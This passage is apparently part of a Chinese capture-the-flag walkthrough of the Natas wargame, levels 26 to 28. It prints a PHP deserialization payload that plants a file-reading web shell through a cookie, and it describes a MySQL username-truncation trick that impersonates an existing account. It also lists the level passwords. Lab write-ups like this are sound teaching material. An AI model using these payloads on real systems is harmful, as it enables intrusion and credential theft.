]=$_GET ["y1" ]; $new_object ["x2" ]=$_GET ["x2" ]; $new_object ["y2" ]=$_GET ["y2" ]; } if (array_key_exists ("drawing" , $_COOKIE )){ $drawing =unserialize (base64_decode ($_COOKIE ["drawing" ])); } else { $drawing =array (); } $drawing []=$new_object ; setcookie ("drawing" ,base64_encode (serialize ($drawing ))); } ?>
可利用的是反序列化,构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Logger { private $logFile ; private $initMsg ; private $exitMsg ; function __construct ($file ) { $this ->initMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27');?>\n" ; $this ->exitMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27');?>\n" ; $this ->logFile = "img/ttt.php" ; } } echo base64_encode (serialize (new Logger ('a.php' ))); ?>
替换Cookie中的drawing字段值,然后访问 img/ttt.php
即可得到下一关密码
Level 27 1 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
参考链接:https://www.cnblogs.com/liqiuhao/p/6906474.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 <? // morla / 10111 // database gets cleared every 5 min /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ function checkCredentials($link,$usr,$pass){ $user=mysql_real_escape_string($usr); $password=mysql_real_escape_string($pass); $query = "SELECT username from users where username='$user' and password='$password' "; SELECT username from users where username='natas28' and password='' $res = mysql_query($query, $link); if(mysql_num_rows($res) > 0){ return True; } return False; } function validUser($link,$usr){ $user=mysql_real_escape_string($usr); $query = "SELECT * from users where username='$user'"; $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { return True; } } return False; } function dumpData($link,$usr){ $user=mysql_real_escape_string($usr); $query = "SELECT * from users where username='$user'"; $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { // thanks to Gobo for reporting this bug! //return print_r($row); return print_r($row,true); } } } return False; } function createUser($link, $usr, $pass){ $user=mysql_real_escape_string($usr); $password=mysql_real_escape_string($pass); $query = "INSERT INTO users (username,password) values ('$user','$password')"; $res = mysql_query($query, $link); if(mysql_affected_rows() > 0){ return True; } return False; } if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) { $link = mysql_connect('localhost', 'natas27', '<censored > '); mysql_select_db('natas27', $link); if(validUser($link,$_REQUEST["username"])) { //user exists, check creds if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){ echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br > "; echo "Here is your data:<br > "; $data=dumpData($link,$_REQUEST["username"]); print htmlentities($data); } else{ echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br > "; } } else { //user doesn't exist if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ echo "User " . htmlentities($_REQUEST["username"]) . " was created!"; } } mysql_close($link); } else { ?> <form action ="index.php" method ="POST" > Username: <input name ="username" > <br > Password: <input name ="password" type ="password" > <br > <input type ="submit" value ="login" /> </form > <? } ?>
MySQL 中:
字符串存储时 若发生“溢出”,mysql会自动truncate到最大宽度。
空格在varchar里面会被自动删除。
思路:
注册一个新用户,用户名是 natas28 后拼接很多空格(超过64字节)再拼接任意字符,密码随便写,造成字符串存储时的”溢出”, 经过数据库去除空格后用户名就会变成 natas28
使用 natas28 和刚刚设置的密码登录
Level 28 1 JWwR438wkgTsNKBbcJoowyysdM82YjeF